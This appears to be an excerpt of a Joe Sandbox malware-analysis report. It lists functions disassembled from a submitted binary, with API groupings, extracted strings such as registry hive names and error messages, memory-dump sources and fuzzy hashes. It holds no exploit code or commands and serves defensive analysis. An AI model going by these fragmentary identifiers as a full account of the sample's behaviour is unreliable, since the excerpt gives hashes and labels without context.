                                                          • API String ID: 2443926738-1918224756
                                                          • Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
                                                          • Instruction ID: a9cc35de7f86eb67df0af5e60363b59568cc7060022cae93aa28af65b17bf4aa
                                                          • Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
                                                          • Instruction Fuzzy Hash: 7E918636A1AA8686EB50CF65E4907AC37A0FB8AF84F444036DE4D8BB58DF3CD855C710
                                                          Function 00007FF6A53F8BF4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
                                                          • String ID: *.*
                                                          • API String ID: 1111067124-438819550
                                                          • Opcode ID: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
                                                          • Instruction ID: 8c5762e7f447846c87e2ca2a6aa72f0e551cdd84164344976e38fb35096bf73a
                                                          • Opcode Fuzzy Hash: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
                                                          • Instruction Fuzzy Hash: 41717D32A29F8691DB14DF21D8401EEA760FBD6F88F405031DA4D8B766EF79E949C740
                                                          Function 00007FF6A5404F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                          • String ID:
                                                          • API String ID: 2598888154-3916222277
                                                          • Opcode ID: 425be74654ebd44771ba09c87734b90991060f44d93216dfca1f6b550ac8dcfa
                                                          • Instruction ID: 6123d437cb0b1690cb3e60ba63c07c7bc331c076ab223eb5bfaeececf23de658
                                                          • Opcode Fuzzy Hash: 425be74654ebd44771ba09c87734b90991060f44d93216dfca1f6b550ac8dcfa
                                                          • Instruction Fuzzy Hash: E4516676B16651CFE750CF65E444AAE77B1F749B88F008126EE4A97B18DF38E8158B00
                                                          Function 00007FF6A53DB0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                          • String ID: NULL Pointer assignment
                                                          • API String ID: 2706829360-2785691316
                                                          • Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                          • Instruction ID: ef7bf7b4abf6e4a83cdbadacec534c1d5e64bf2ea613eff74bf906d2d258c985
                                                          • Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                          • Instruction Fuzzy Hash: 26512E22A26A228AEB40DF65D8956FC37B0FB95F88F404435EA0EC7A55DF78D849C740
                                                          Function 00007FF6A5411110 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 371COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6A540FD7B), ref: 00007FF6A5411143
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpper
                                                          • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                          • API String ID: 3964851224-909552448
                                                          • Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                          • Instruction ID: 07a663d28bf5ea349866f97512fdc758166f496b7fb886cc952c343872c86a78
                                                          • Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                          • Instruction Fuzzy Hash: 6EE19012F1AA9781EA60CF65D8402B863A0FF52F98B485531CA1ED77D8EE3CED65D310
                                                          Function 00007FF6A53F87CC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
                                                          • String ID: *.*
                                                          • API String ID: 4125642244-438819550
                                                          • Opcode ID: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
                                                          • Instruction ID: 3d6921e631c9ba5b3caff4e2e3b085fbfa9b44d1c2f3af4ad2019f7b754b636f
                                                          • Opcode Fuzzy Hash: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
                                                          • Instruction Fuzzy Hash: 46816122B29E8295EB14DF15D8506BD63A0FF86F84F844036DA4E8B695EFBCDD49C700
                                                          Function 00007FF6A53EA40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ItemMenu$Info$CheckCountRadioSleep
                                                          • String ID: P
                                                          • API String ID: 1460738036-3110715001
                                                          • Opcode ID: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
                                                          • Instruction ID: 015ae0623dc7661de7b44251e2e4e8fef0fe3b559e582b6dfd93ddc0e1a441bc
                                                          • Opcode Fuzzy Hash: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
                                                          • Instruction Fuzzy Hash: EC71D222A2EA4286EB11DB2094482BD67E1FBC3F58F544435DE4EC7681EE7CED46C700
                                                          Function 00007FF6A53F3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: LoadStringwprintf
                                                          • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                          • API String ID: 3297454147-3080491070
                                                          • Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
                                                          • Instruction ID: e6bb4c1b19398cfa006e1baa33007ef7e35ac8dc63145e3541dcbe41641b7364
                                                          • Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
                                                          • Instruction Fuzzy Hash: C8614021F2AE52D6EB00DB64E4415FD6361FF96B44F401032EA4D97A9AEE7CE906C740
                                                          Function 00007FF6A53E74B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadModuleString$Messagewprintf
                                                          • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                          • API String ID: 4051287042-2268648507
                                                          • Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                          • Instruction ID: 10f1b41a05e66235c9e04e8d9b22bac7a960aed43dcb3b110cc42de5341530d5
                                                          • Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                          • Instruction Fuzzy Hash: 36514E61F2AE56D2EB00EB64E8414FD6361FFD6B54B801032E90E9769AEE7CDD06C740
                                                          Function 00007FF6A53ED4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
                                                          • String ID: BUTTON
                                                          • API String ID: 3935177441-3405671355
                                                          • Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                          • Instruction ID: 72d6513c6e72e7500bbf6118fc36f3493de0f5bc23c019388f27d9aee6351f9c
                                                          • Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                          • Instruction Fuzzy Hash: 5C316D20E1FB1792FB10DB21E85477923A1EFDBF94F454475D90ECAAA0EE2CAC858700
                                                          Function 00007FF6A53715EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Destroy$AcceleratorKillTableTimerWindow
                                                          • String ID:
                                                          • API String ID: 1974058525-0
                                                          • Opcode ID: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
                                                          • Instruction ID: bbc0701c3634d6ad87f5f9b21654609ad0ac46768a0b2d1aa84c86cb9bbe7775
                                                          • Opcode Fuzzy Hash: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
                                                          • Instruction Fuzzy Hash: 5D911526E2BE4285EB64DF25E89067827A4EFC6F94F584131CE4EC7655EE3CEC418340
                                                          Function 00007FF6A53E2F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$ItemMoveRect$Invalidate
                                                          • String ID:
                                                          • API String ID: 3096461208-0
                                                          • Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                          • Instruction ID: 4171d3e186df04be1412778df905cc054a3a20fb84ebb1567a7028052f0fd813
                                                          • Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                          • Instruction Fuzzy Hash: D0618F72B156508BE718CB6AE8446AC77E2F789B84F148179DE0DD7B48EF38ED058B00
                                                          Function 00007FF6A53E7E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: State$Async$Keyboard
                                                          • String ID:
                                                          • API String ID: 541375521-0
                                                          • Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
                                                          • Instruction ID: 775ab7b3f42adbb79916554453cc0e6f90125be7f99019b9f2e0df19f618f6f5
                                                          • Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
                                                          • Instruction Fuzzy Hash: 1871D512A2EAC255FB35CB3490002BD6BE0EBD7F88F580079DA8D87285EE5DDD46C751
                                                          Function 00007FF6A53F4708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: BuffCharDriveLowerTypewcscpy
                                                          • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                          • API String ID: 1561581874-1000479233
                                                          • Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
                                                          • Instruction ID: 72af25c604c8e292ccca38814623a93989ec030f6c89d90c6292fa482344ff20
                                                          • Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
                                                          • Instruction Fuzzy Hash: 5ED19322F2AE5691EA20DB15D54017AA3A1FFD6F94F408231DA9D9B794FF3CED498300
                                                          Function 00007FF6A53E176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
                                                          • String ID: ThumbnailClass
                                                          • API String ID: 4010642439-1241985126
                                                          • Opcode ID: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                          • Instruction ID: 11dc12d815882eb45dc029f70fe8735e6ce1c01a625fe89b52c787cf263e09b9
                                                          • Opcode Fuzzy Hash: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                          • Instruction Fuzzy Hash: 2EA1A623A29A4683EB24DB15D4446B967E1FBC7B84F404035DF8E83A95EE3DED05CB40
                                                          Function 00007FF6A5371504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                          • String ID: P
                                                          • API String ID: 1268354404-3110715001
                                                          • Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                          • Instruction ID: 79466173b6f41b69623bb95ecb3e5eee478a757ce6c17122f004a58f44e97ca7
                                                          • Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                          • Instruction Fuzzy Hash: DA617136A1AA42CAEB54DF25D85067927A0FBC6FA8F144535DE0EC7B94EF3CE8408740
                                                          Function 00007FF6A53F34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: LoadStringwprintf
                                                          • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                          • API String ID: 3297454147-2391861430
                                                          • Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                          • Instruction ID: 09b7e708642644494b9725e54cce4b95f76875e3ff1659d7bae5380e13efc889
                                                          • Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                          • Instruction Fuzzy Hash: 24716222F2AE92D6EB40DB61E4415FD6360FF96B54F400032EA0D9769AEF7CE946C740
                                                          Function 00007FF6A541AD1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
                                                          • String ID: static
                                                          • API String ID: 3821898125-2160076837
                                                          • Opcode ID: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
                                                          • Instruction ID: 111eb1562055e6c0b6533db053770454ff661e4e119f794c12eef531773e762d
                                                          • Opcode Fuzzy Hash: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
                                                          • Instruction Fuzzy Hash: 0C415D3260978186E760CF25A44476EB3A1FB89BA0F504235DA9D87B98CF3CD845CF40
